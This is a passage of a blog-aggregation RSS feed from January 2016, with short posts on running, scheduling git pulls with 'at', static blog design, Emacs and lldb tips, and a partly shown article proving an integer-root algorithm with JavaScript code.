Maybe tomorrow, I&amp;rsquo;ll want to settle &amp;hellip; no, wait, wrong hobo.
[Walk from hot chocolate] [Walk to home]</description><author>infrequent oscillations</author><pubDate>Fri, 15 Jan 2016 00:48:17 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-14-2/</guid></item><item><title>How I schedule posts using atd</title><link>https://qubyte.codes/blog/how-i-schedule-posts-using-atd</link><description>&lt;p&gt;This blog is built with a static site generator. The generator, the markdown source files, and the
generated HTML files are all kept together in the same git repository. Every time I commit a change,
a pre-commit hook runs the generator and adds the generated HTML, so that the blog entries are
always up to date. Then the changes are pushed up to GitHub.&lt;/p&gt;
&lt;p&gt;On the server (running Linux), NGINX is hosting a folder containing the files to serve from a clone
of the repo. To publish a new post, or update an old one, all I have to do is pull the changes from
GitHub. Publishing via the terminal allows me to use a one liner to &lt;em&gt;schedule&lt;/em&gt; the publication.
Many know about &lt;code&gt;cron&lt;/code&gt; for scheduling repeated tasks, but fewer are aware of &lt;code&gt;atd&lt;/code&gt;, which is for one
time scheduled tasks. The one liner I use is:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;&lt;span class="hljs-built_in"&gt;echo&lt;/span&gt; &lt;span class="hljs-string"&gt;&amp;quot;git -C /absolute/path/to/repo pull origin master&amp;quot;&lt;/span&gt; | at 07:00 tomorrow
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;at&lt;/code&gt; accepts input through stdin, which is why I've echoed the command and piped it. One big
gotcha is that you have to be aware of the timezone your machine is configured for. I have mine set
to UTC, and schedule according to that.&lt;/p&gt;
&lt;p&gt;There are companion utilities to manage scheduled jobs. The &lt;code&gt;man&lt;/code&gt; page for &lt;code&gt;at&lt;/code&gt; is extremely good,
so I won't try to better it. The purpose of this post is to show you that it exists and how simple
(especially when compared with &lt;code&gt;cron&lt;/code&gt;) it is to use. You can use it to schedule pretty much
anything!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Thu, 14 Jan 2016 21:30:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/how-i-schedule-posts-using-atd</guid></item><item><title>Using Twig in WordPress with Clarkson</title><link>https://jaimemartinez.nl/blog/2016/01/14/using-twig-in-wordpress-with-clarkson/</link><description>&lt;p&gt;At the end of 2015, we @ Level Level have released a WordPress Plugin accompanied with a Theme for WordPress that makes it possible to use the Twig templating engine and some awesome OO WordPress objects. Go check out the website for more information! Have fun with it because it&amp;#8217;s awesome!&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://jaimemartinez.nl/blog/2016/01/14/using-twig-in-wordpress-with-clarkson/"&gt;Using Twig in WordPress with Clarkson&lt;/a&gt; appeared first on &lt;a href="https://jaimemartinez.nl"&gt;Jaime Martinez&lt;/a&gt;.&lt;/p&gt;</description><author>Jaime Martinez</author><pubDate>Thu, 14 Jan 2016 13:47:00 GMT</pubDate><guid isPermaLink="true">https://jaimemartinez.nl/blog/2016/01/14/using-twig-in-wordpress-with-clarkson/</guid></item><item><title>Copenhagen travel bookmarks</title><link>https://xenodium.com/copenhagen-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;Christiania.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hijadesanchez.dk/"&gt;Hija de Sanchez&lt;/a&gt; restaurant.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://cargocollective.com/marvogben"&gt;Marv og Ben&lt;/a&gt; restaurant.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mikkeller.dk/location/mikkeller-bar-viktoriagade-copenhagen/"&gt;Mikkeller Bar – Mikkeller&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Mikkeller Bar.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.restaurantschonnemann.dk/"&gt;Schonnemann&lt;/a&gt; restaurant.&lt;/li&gt;
&lt;li&gt;Tivoli.&lt;/li&gt;
&lt;li&gt;Torvehallerne (food).&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 14 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/copenhagen-travel-bookmarks</guid></item><item><title>Links - January 14th, 2016</title><link>https://faingezicht.com/links/2016/01/14/links/</link><description/><author>Avy Faingezicht</author><pubDate>Thu, 14 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/01/14/links/</guid></item><item><title>Zero to One: Notes on Startups, or How to Build the Future</title><link>https://olshansky.info/book/zero_to_one/</link><description>Olshansky's review of Zero to One: Notes on Startups, or How to Build the Future by Peter Thiel</description><author>🦉 olshansky 🦁</author><pubDate>Thu, 14 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/zero_to_one/</guid></item><item><title>Getting the Most Out of Twitter</title><link>https://justingarrison.com/blog/2016-01-14-getting-the-most-out-of-twitter/</link><description>I’ve been using Twitter for a long time now. I’ve gone through many 3rd party apps, used it over SMS, and have tried various things.</description><author>Justin Garrison's Homepage</author><pubDate>Thu, 14 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-01-14-getting-the-most-out-of-twitter/</guid></item><item><title>[Computing] There are no secure smartphones.</title><link>https://www.devever.net/~hl/nosecuresmartphone</link><description>&lt;p&gt;This is a simple fact which is overlooked remarkably often.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Thu, 14 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/nosecuresmartphone</guid></item><item><title>Janathon 2016 #13</title><link>https://rjp.is/blogging/posts/janathon-2016-13-2/</link><description>The excesses of Christmas, the indolent misery of a new year, the weekend&amp;rsquo;s over-exertions, consequent excesses caused by misery, and the abysmal weather have all started to take a grinding toll on my physical (back, stomach) and mental (it&amp;rsquo;s not pretty) states. My emotional state remains, as ever, deep in the toilet and has been unaffected by 2016 thus far. Yay?
A chilly 10km with 2008-vintage Rich Conaty for company did little to alleviate matters.</description><author>infrequent oscillations</author><pubDate>Thu, 14 Jan 2016 00:37:00 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-13-2/</guid></item><item><title>golang Learnings</title><link>https://rjp.is/blogging/posts/golang-learnings-2/</link><description>Things in golang this week (Mostly falling out of the diggymoo rewrite into godiggy.)
[How to include version information]
[Changing the usage text from flag]
[Twitter library - anaconda]
[Simple but useful ORM - crud]
[Calling a method by name and returning a string] - I&amp;rsquo;m experimenting with post-statement hooks for crud in order to enable ON CONFLICT REPLACE or INSERT OR REPLACE support for SQLite.</description><author>infrequent oscillations</author><pubDate>Wed, 13 Jan 2016 17:08:38 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/golang-learnings-2/</guid></item><item><title>Janathon 2016 #12</title><link>https://rjp.is/blogging/posts/janathon-2016-12-2/</link><description>Finally a post that&amp;rsquo;s not late.
Today was a &amp;ldquo;mildly twinging back really tired why did I sign up for this bleugh&amp;rdquo; kind of day.
Made the best of a bad situation and dug the weights out for 20kg of 2x(10x 10x 10x) arm exercises in about 9 minutes.
Obviously there&amp;rsquo;s no point putting that on Strava - you&amp;rsquo;ll have to make do with the heart rate graph from ConnectStats instead.</description><author>infrequent oscillations</author><pubDate>Wed, 13 Jan 2016 01:46:13 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-12-2/</guid></item><item><title>Janathon 2016 #11</title><link>https://rjp.is/blogging/posts/janathon-2016-11-2/</link><description>Another delayed update - sorry everyone.
Yesterday was very much recovery from the weekend and, consequently, was limited to two short walks.
[Walk to Starbucks] [Walk home]</description><author>infrequent oscillations</author><pubDate>Tue, 12 Jan 2016 16:19:07 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-11-2/</guid></item><item><title>The Poor Man's Threading Architecture</title><link>https://etodd.io/2016/01/12/poor-mans-threading-architecture/</link><description>&lt;p&gt;
The game industry hit Peak Advice Blog a while ago. Every day I &lt;s&gt;read&lt;/s&gt;
skim ten articles telling me how to live.
&lt;/p&gt;
&lt;p&gt;
Fear not! I would never give you useful advice. This series is about me writing
bad code and you laughing at my pain.
&lt;/p&gt;
&lt;h3&gt;First Contact&lt;/h3&gt;
&lt;p&gt;
Say you have some voxels which occasionally get modified. You regenerate their
geometry like so:
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-csharp"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;voxel.Regenerate();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;
Because you are a masochist, you want to do this on a separate thread.
&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Tue, 12 Jan 2016 15:00:00 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2016/01/12/poor-mans-threading-architecture/</guid></item><item><title>Freedom</title><link>https://www.anardil.net/2016/freedom.html</link><description>&lt;p&gt;Short poems&lt;/p&gt;</description><author>Anardil</author><pubDate>Tue, 12 Jan 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/freedom.html</guid></item><item><title>Rain</title><link>https://www.anardil.net/2016/rain.html</link><description>&lt;p&gt;Short poems&lt;/p&gt;</description><author>Anardil</author><pubDate>Tue, 12 Jan 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/rain.html</guid></item><item><title>Efficient compiled binaries aren't "running C code"</title><link>http://negfeedback.blogspot.com/2016/01/efficient-compiled-binaries-arent-c-code.html</link><description>I use Python for most of my programming needs, and since the CPython interpreter is not particularly efficient, it is relatively common for people to write the CPU-intensive bits of their code in other languages like C, C++ or (for numerical work) Fortran. Python allows for a great deal of flexibility in defining modules in other languages and using their compiled routines with little overhead.&lt;br /&gt;
&lt;br /&gt;
I have developed an issue about how people talk about this as though the languages themselves were in play at that inner level. People will often say: "Python is slow", then when you point out that libraries like NumPy make many tasks quite fast, they will retort that NumPy calls out to C and Fortran extension code. Often they will express this as actually "running C code". I take issue with this, because there isn't much left of the original language when compiling to native machine instructions. Any toolchain which allows you to produce efficient binaries could have been used.&lt;br /&gt;
&lt;br /&gt;
This argument relates to a similar argument which has C being the base of all languages, since many interpreters and compilers are themselves written in C. People will sometimes scoff at people using other languages because those languages are effectively a thin wrapper around the "underlying" C code. This is wrong, because if you wrote a compiler for a new language in C and compiled it to produce a binary, the binary you are running which compiles your new language is an independent thing.&lt;br /&gt;
&lt;br /&gt;
Many languages are self-hosting, which means that their compilers are written in the languages themselves. This is not surprising when you consider that the first C compiler was probably developed through a bootstrapping process which may have included manual assembly of code to a rudimentary compiler, which was then used to compile subsequent versions. Once a good compiler exists, it is unnecessary to bootstrap this way. You're probably better off just writing your compiler in a different language which already has a good compiler. In fact, you may be able to save time by writing a compiler which produces C code rather than native machine instructions, and then use a C compiler to compile that code. Self-hosting is a useful way to show the completeness of your language, but it is not required for your language to be an independent thing.&lt;br /&gt;
&lt;br /&gt;
It can be hard to reason about this Inception-like chain of compilers producing compilers, but luckily one doesn't actually have to. Once you have a compiler which takes code written in a language and produces a runnable executable, the language actually doesn't matter. In the case of Python, there is an interpreter running at runtime, so it is accurate so say that the particular interpreter is executing tasks slowly. But importantly, the language Python is different from a particular interpreter. I can run the same Python program on CPython, PyPy, IronPython or Jython and get different performance due to the details of how each interpreter interprets the code. Even these interpreters aren't actually running the code as I wrote it line by line, but rather executing a bytecode version of the code which is the result of a compilation step. This distinction is meaningless in practice, as the mapping of Python code to bytecode is quite simple and relatively one-to-one, unlike the mapping from C code to machine instructions, where most compilers will apply optimisations such that the final instructions are often very different from the code you wrote.&lt;br /&gt;
&lt;br /&gt;
In summary, &lt;i&gt;languages&lt;/i&gt; aren't fast or slow – interpreters or compilers are more or less efficient. Back to the first point, it may be more accurate to describe the speed benefit obtained by using NumPy as being from using efficient compiled routines rather than "running C code".</description><author>Negative Feedback</author><pubDate>Tue, 12 Jan 2016 06:05:31 GMT</pubDate><guid isPermaLink="true">http://negfeedback.blogspot.com/2016/01/efficient-compiled-binaries-arent-c-code.html</guid></item><item><title>Import UIKit for simpler debugging</title><link>https://xenodium.com/import-uikit-for-simpler-debugging</link><description>&lt;p&gt;I bookmarked &lt;a href="http://furbo.org/2015/05/11/an-import-ant-change-in-xcode/"&gt;An @import-ant Change in Xcode&lt;/a&gt; and immediately forgot about it. The gist is to import UIKit to simplify inspecting objects during an lldb session:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;(lldb) expr @import UIKit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Shorten typing by creating aliases in ~/.lldbinit:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;command alias uikit expr @import UIKit
command alias foundation expr @import Foundation
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 12 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/import-uikit-for-simpler-debugging</guid></item><item><title>iOS development tips backlog</title><link>https://xenodium.com/ios-development-tips-backlog</link><description>&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://ruenzuo.github.io/static-analysis-on-ios-part-ii/"&gt;Static Analysis on iOS - Part II&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/lukhnos/refactorial/"&gt;Clang-based C/C++/Objective-C refactoring toolset (unmaintained)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/dsmelov/simsim"&gt;SimSim: access to application data folders&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/supermarin/xcpretty"&gt;xcpretty (fast and flexible formatter/prettifier for xcodebuild output)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://github.com/facebook/xctool"&gt;xctool&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 12 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/ios-development-tips-backlog</guid></item><item><title>Don't leave old out-of-date code commented out; just delete it</title><link>https://www.databasesandlife.com/please-dont-leave-old-out-of-date-code-commented-out-just-delete-it/</link><description>&lt;p&gt;If you replace code, and commit out the original while you are working, please delete the commented out code before you commit.&lt;/p&gt;
&lt;p&gt;Code such as:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int x = foo() + 1;
// int x = foo() + 2;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Becomes pretty unreadable after a time.&lt;/p&gt;
&lt;p&gt;It makes sense to you while you write it, but in 2 years, and looked at by another developer, it will probably not make any sense.&lt;/p&gt;
&lt;p&gt;We all use Subversion or git etc., so if you do realize you need the old version at any point in the future, it&amp;rsquo;s still there.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Tue, 12 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/please-dont-leave-old-out-of-date-code-commented-out-just-delete-it/</guid></item><item><title>About this blog 2</title><link>https://qubyte.codes/blog/about-this-blog-2</link><description>&lt;p&gt;I touched briefly on the technology used in this blog in
&lt;a href="/blog/about-this-blog.html"&gt;a previous post&lt;/a&gt;, but I didn't explain the motivation behind a lot of
the choices I made when building it. I'd like to do that in this post. The design and architecture
of this blog is the product of what things I like in other blogs, and also those things that I find
frustrating. Where a choice was not obvious, I opted for the simplest option. The point of the
exercise was to get it online. Below are a few points in no particular order.&lt;/p&gt;
&lt;h3 id="https"&gt;HTTPS&lt;/h3&gt;
&lt;p&gt;SSL certificates are now free thanks to &lt;a href="https://letsencrypt.org"&gt;Let's Encrypt&lt;/a&gt;, so there is
absolutely no excuse to host blog content over plain HTTP. By doing this you honour the privacy of
your readers. It's a little clunky if you're using NGINX (as this blog is), but still far easier
than buying a domain name and hosting, sorting DNS etc.&lt;/p&gt;
&lt;h3 id="no-tracking"&gt;No tracking&lt;/h3&gt;
&lt;p&gt;I don't currently use tracking or cookies, mainly because I don't need them. Tracking for a blog is
largely narcissism. There are no sessions for a blog, so no cookies are necessary. I might track
some basic data like user agent later, but that's mainly so I know what browser features I can get
away with using. That sort of thing can be done server side. I don't need that now though.&lt;/p&gt;
&lt;h3 id="render-once"&gt;Render once&lt;/h3&gt;
&lt;p&gt;I really like single page apps. I work on one as part of my day job. The distinction here is that a
blog is not an application (at least not in my head). A blog is really just the good old fashioned
home page. Given that, I host HTML pages, and there's no JavaScript code rendering DOM. This has
some nice repercussions. The browser does very little, so this is kind to batteries. Since the pages
are not dynamic, the pages can be statically generated by me, and hosted as files. This avoids
building HTML on the server and a database to store pre-rendered data. Just as this is kind to the
browser, it's kind to the server.&lt;/p&gt;
&lt;h3 id="responsiveness"&gt;Responsiveness&lt;/h3&gt;
&lt;p&gt;My CSS skills are pretty basic. I knew when building this that I wanted a classic centred column on
conventional computers, and also for posts to be readable on mobile devices. The CSS is configured
such that the text (including margins) will occupy the full width up to a maximum 800px, and
thereafter the text column remains at 800px wide and centred. Pretty old school, but also clean.&lt;/p&gt;
&lt;h3 id="dated-posts"&gt;Dated posts&lt;/h3&gt;
&lt;p&gt;It's rare, but I do come across how-to style blog posts which lack dates. This is frustrating, since
it's difficult to know if the information in the post is stale.&lt;/p&gt;
&lt;h3 id="getting-to-the-point"&gt;Getting to the point&lt;/h3&gt;
&lt;p&gt;Probably my biggest gripe with modern blogs and blog platforms is the massive image which dominates
the top of each post. This fad is terrible. You force the reader to scroll before they can begin
reading. You're also making the browser download that image, which probably takes more data than the
rest of the page combined. This blog doesn't do it. I want a reader to be able to start reading with
no interaction at all. This blog has been tested with devices as small as an iPhone 4 to that end.&lt;/p&gt;
&lt;h3 id="mobile-friendly"&gt;Mobile friendly&lt;/h3&gt;
&lt;p&gt;I've already touched on this above. A big part of mobile friendly is handling crappy networks.
Crappy give each request a good chance of failing. Since the CSS is very simple, I minify and inline
it in the head of each post. This means that the typical post is just a single file, so there is as
good a chance as possible that the reader will receive the whole post.&lt;/p&gt;
&lt;h3 id="no-comment"&gt;No comment&lt;/h3&gt;
&lt;p&gt;Comments are complex. Rolling my own would mean a database and rendering on the server or in the
browser. Using a third party would probably mean scripts. Both are fine, but I'm not sure if
comments are worth the trouble. If something is really worth saying, you can always tweet to me or
tweet a gist to me. If comments become desirable in the future, I can revisit them.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Mon, 11 Jan 2016 22:15:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/about-this-blog-2</guid></item><item><title>Janathon 2016 #10</title><link>https://rjp.is/blogging/posts/janathon-2016-10-2/</link><description>(Slightly delayed because I&amp;rsquo;m only now just recovering from the weekend.)
After Saturday&amp;rsquo;s insane hills (660ft in a single climb!), a recovery run was in order (and also because I wasn&amp;rsquo;t going to be in any mood for exercise by the time I got back to London.)
Except I thought it would be a good idea to try Twentywell Lane.
Now I am sorry. For everything. And anything.
But at least it was only 80m of climbing this time instead of 200m.</description><author>infrequent oscillations</author><pubDate>Mon, 11 Jan 2016 19:41:20 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/janathon-2016-10-2/</guid></item><item><title>MyAPRS APRS for iPhone</title><link>https://blog.nobugware.com/post/2016/myaprs_aprs_on_iphone/</link><description>I&amp;rsquo;m happy to announce a new side project: MyAPRS, a modern iOS APRS application, for radio amateur enthusiasts.
I&amp;rsquo;ve already mentioned APRS on this blog, it will mainly be useful for radio amateurs but can be interesting to RTL-SDR listeners too.
The application is built around LevelDB and geo hashing as mentioned in this post blog, it&amp;rsquo;s a lot faster than using SQLite especially on iOS, SatSat is still using the SQLite cities lookup and you can compare it&amp;rsquo;s terribly slow.</description><author>Fabrice Aneche</author><pubDate>Mon, 11 Jan 2016 16:33:36 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/myaprs_aprs_on_iphone/</guid></item><item><title>Basic Emacs keybindings on Linux desktop</title><link>https://xenodium.com/basic-emacs-keybindings-on-linux-desktop</link><description>&lt;p&gt;Miss C-a, C-e in your browser and other Linux apps? You can enable the GTK Emacs key theme:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ gsettings set org.gnome.desktop.interface gtk-key-theme &amp;quot;Emacs&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or if on Cinnamon:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ gsettings set org.cinnamon.desktop.interface gtk-key-theme Emacs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your desktop environment is not running gnome-settings-daemon, start it with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ gnome-settings-daemon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More at &lt;a href="http://www.jefftk.com/p/emacs-keybindings-in-chrome-without-gnome"&gt;Emacs Keybindings in Chrome Without Gnome&lt;/a&gt; and &lt;a href="http://promberger.info/linux/2010/02/16/how-to-get-emacs-key-bindings-in-ubuntu/"&gt;How to get Emacs key bindings in Ubuntu&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 11 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/basic-emacs-keybindings-on-linux-desktop</guid></item><item><title>Links - January 11th, 2016</title><link>https://faingezicht.com/links/2016/01/11/links/</link><description>Aaaaand, we're back...</description><author>Avy Faingezicht</author><pubDate>Mon, 11 Jan 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/01/11/links/</guid></item><item><title>Freebsd on Raspberry Pi 2 and Golang</title><link>https://blog.nobugware.com/post/2016/freebsd_raspberry_pi2/</link><description>FreeBSD is now fully supported on the Raspberry Pi2, makes it a fun small computer to experiment with BSD.
If you have a Raspberry Pi 1, you can simply install 10.2-RELEASE image.
For Raspberry Pi 2, you need 11.0-CURRENT which is the development branch, images can be found here.
dd the image as usual to a SD card, it will be auto resized at first boot. (See growfs_enable=&amp;quot;YES&amp;quot;) in rc.conf.</description><author>Fabrice Aneche</author><pubDate>Sun, 10 Jan 2016 18:32:19 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/freebsd_raspberry_pi2/</guid></item><item><title>Computing Integer Roots</title><link>https://www.akalin.com/computing-iroot</link><description>&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;1. The algorithm&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Today I&amp;rsquo;m going to talk about the generalization of
the &lt;a href="/computing-isqrt"&gt;integer square root algorithm&lt;/a&gt; to
higher roots. That is, given \(n\) and \(p\), computing
\(\iroot(n, p) = \lfloor \sqrt[p]{n} \rfloor\), or the
greatest integer whose \(p\)th power is less than or equal to
\(n\). The generalized algorithm is straightforward, and it&amp;rsquo;s
easy to generalize the proof of correctness, but the run-time bound is
a bit trickier, since it has a dependence on \(p\).&lt;/p&gt;

&lt;div class="p"&gt;First, the algorithm, which we&amp;rsquo;ll call \(\NewtonRoot\):

  &lt;ol&gt;
    &lt;li&gt;If \(n = 0\), return \(0\).&lt;/li&gt;
    &lt;li&gt;If \(p \ge \Bits(n)\) return \(1\).&lt;/li&gt;
    &lt;li&gt;Otherwise, set \(i\) to \(0\) and set \(x_0\) to \(2^{\lceil
      \Bits(n) / p\rceil}\).&lt;/li&gt;
    &lt;li&gt;Repeat:
      &lt;ol&gt;
        &lt;li&gt;Set \(x_{i+1}\) to \(\lfloor ((p - 1) x_i + \lfloor
	  n/x_i^{p-1} \rfloor) / p \rfloor\).&lt;/li&gt;
        &lt;li&gt;If \(x_{i+1} \ge x_i\), return \(x_i\). Otherwise, increment
          \(i\).&lt;/li&gt;
      &lt;/ol&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

&lt;div class="p"&gt;and its implementation in Javascript:&lt;sup&gt;&lt;a href="#fn1" id="r1"&gt;[1]&lt;/a&gt;&lt;/sup&gt;





&lt;pre class="code-container"&gt;&lt;code class="language-javascript"&gt;// iroot returns the greatest number x such that x^p &amp;lt;= n. The type of
// n must behave like BigInteger (e.g.,
// https://github.com/akalin/jsbn ), n must be non-negative, and
// p must be a positive integer.
//
// Example (open up the JS console on this page and type):
//
//   iroot(new BigInteger(&amp;quot;64&amp;quot;), 3).toString()
function iroot(n, p) {
  var s = n.signum();
  if (s &amp;lt; 0) {
    throw new Error('negative radicand');
  }
  if (p &amp;lt;= 0) {
    throw new Error('non-positive degree');
  }
  if (p !== (p|0)) {
    throw new Error('non-integral degree');
  }

  if (s == 0) {
    return n;
  }

  var b = n.bitLength();
  if (p &amp;gt;= b) {
    return n.constructor.ONE;
  }

  // x = 2^ceil(Bits(n)/p)
  var x = n.constructor.ONE.shiftLeft(Math.ceil(b/p));
  var pMinusOne = new n.constructor((p - 1).toString());
  var pBig = new n.constructor(p.toString());
  while (true) {
    // y = floor(((p-1)x + floor(n/x^(p-1)))/p)
    var y = pMinusOne.multiply(x).add(n.divide(x.pow(pMinusOne))).divide(pBig);
    if (y.compareTo(x) &amp;gt;= 0) {
      return x;
    }
    x = y;
  }
}&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;This algorithm turns out to require \(Θ(p) + O(\lg \lg n)\)
  loop iterations, with the run-time for a loop iteration depending on
  what kind of arithmetic operations are used.&lt;/p&gt;

&lt;/section&gt;

&lt;section&gt;
  &lt;header&gt;
    &lt;h2&gt;2. Correctness&lt;/h2&gt;
  &lt;/header&gt;

  &lt;p&gt;Again we look at the iteration rule:

  \[
  x_{i+1} = \left\lfloor \frac{(p - 1) x_i + \left\lfloor \frac{n}{x_i^{p-1}}
  \right\rfloor}{p} \right\rfloor
  \]

  Letting \(f(x)\) be the right-hand side, we can again use basic
  properties of the floor function to remove the inner floor:

  \[
  f(x) = \left\lfloor \frac{1}{p} ((p-1) x + n/x^{p-1}) \right\rfloor
  \]

  Letting \(g(x)\) be its real-valued equivalent:

  \[
  g(x) = \frac{1}{p} ((p-1) x + n/x^{p-1})
  \]

  we can, again using basic properties of the floor function, show that
  \(f(x) \le g(x)\), and for any integer \(m\), \(m \le f(x)\) if and
  only if \(m \le g(x)\).&lt;/p&gt;

&lt;p&gt;Finally, let&amp;rsquo;s give a name to our desired output: let \(s =
  \iroot(n, p) = \lfloor \sqrt[p]{n} \rfloor\).&lt;sup&gt;&lt;a href="#fn2" id="r2"&gt;[2]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;div class="p"&gt;Unsurprisingly, \(f(x)\) never underestimates:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 1&lt;/span&gt;.) For
  \(x \gt 0\), \(f(x) \ge s\).&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; By the basic properties of
  \(f(x)\) and \(g(x)\) above, it suffices to show that \(g(x) \ge
  s\). \(g'(x) = (1 - 1/p) (1 - n/x^p)\) and \(g''(x) = (p - 1)
  (n/x^{p+1})\). Therefore, \(g(x)\) is concave-up for \(x \gt 0\); in
  particular, its single positive extremum at \(x = \sqrt[p]{n}\) is a
  minimum. But \(g(\sqrt[p]{n}) = \sqrt[p]{n} \ge s\). &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;

Also, our initial guess is always an overestimate:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Lemma 2&lt;/span&gt;.) \(x_0
  \gt s\).&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; \(\Bits(n) =
  \lfloor \lg n \rfloor + 1 \gt \lg n\). Therefore,

\[
  \begin{aligned}
  x_0 &amp;=   2^{\lceil \Bits(n) / p \rceil} \\
  &amp;\ge 2^{\Bits(n) / p} \\
  &amp;\gt 2^{\lg n / p} \\
  &amp;= \sqrt[p]{n} \\
  &amp;\ge s\text{.} \; \blacksquare
  \end{aligned}
\]
&lt;/p&gt;
&lt;/div&gt;

Therefore, we again have the invariant that \(x_i \ge s\), which
  lets us prove partial correctness:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 1&lt;/span&gt;.) If
  \(\NewtonRoot\) terminates, it
  returns the value \(s\).&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Assume it terminates. If it
  terminates in step \(1\) or \(2\), then we are done. Otherwise, it can
  only terminate in step \(4.2\) where it returns \(x_i\) such that
  \(x_{i+1} = f(x_i) \ge x_i\). This implies \(g(x_i) = ((p-1)x_i +
  n/x_i^{p-1}) / p \ge x_i\). Rearranging yields \(n \ge x_i^p\) and
  combining with our invariant we get \(\sqrt[p]{n} \ge x_i \ge s\). But
  \(s + 1 \gt \sqrt[p]{n}\), so that forces \(x_i\) to be \(s\), and
  thus \(\NewtonRoot\) returns \(s\)
  if it terminates. &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;div class="p"&gt;Total correctness is also easy:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 2&lt;/span&gt;.)
  \(\NewtonRoot\) terminates.&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Proof.&lt;/span&gt; Assume it doesn&amp;rsquo;t
  terminate. Then we have a strictly decreasing infinite sequence of
  integers \(\{ x_0, x_1, \dotsc \}\). But this sequence is bounded below
